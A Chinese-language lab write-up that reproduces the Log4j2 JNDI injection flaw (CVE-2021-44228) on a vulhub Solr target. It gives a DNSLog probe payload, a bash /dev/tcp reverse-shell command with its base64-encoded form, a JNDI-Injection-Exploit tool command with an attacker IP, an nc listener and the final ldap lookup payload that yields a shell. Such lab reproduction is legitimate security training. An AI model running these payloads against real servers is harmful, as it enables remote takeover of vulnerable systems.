Log4j2漏洞复现
原理介绍
因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell
影响版本:log4j2.x <= 2.14.1
环境介绍
使用的vulhub里的log4j2的靶场
cd vulhub/log4j/CVE-2021-44228//进入靶场
docker-compose up -d //启动靶场
漏洞复现步骤
一、漏洞探测
一般我们会对log4j2这个漏洞进行探测,然后再做利用。
这里我们使用DNSLog来进行探测漏洞存在的注入点
1.访问dnslog.cn获取测试域名地址
2.我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:
cores?action=${jndi:ldap://${sys:java.version}.7pa8mv.dnslog.cn}
二、获取反向shell
2.1 前期准备
1.用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
项目地址 https://github.com/sayers522/JNDI-Injection-Exploit
下载后使用mvn或者idea将项目打为jar包
2 构造反弹shell用到的命令
bash -i >& /dev/tcp/攻击机地址地址/攻击机端口号 0>&1
//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹
3.base64编码
使用在线base64编码平台将反弹shell进行编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==
4.构造解析base64命令行代码
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}
5.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar脚本
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}" -A "192.168.111.1"
//-C: 执行命令
//-A: 攻击机地址
6 在攻击端启动nc监听反弹端口
nc -lvvp 8080
2.2 脚本利用
执行成功后,界面如下:
得知我们之前探测java的jdk为1.8.0所以选择第二条ladp地址
/solr/admin/cores?_=${jndi:ldap://192.168.111.1:1389/Exploit}
访问后,我们可以看到服务器去下载了恶意类
此时攻击端的8080端口得到了服务器的shell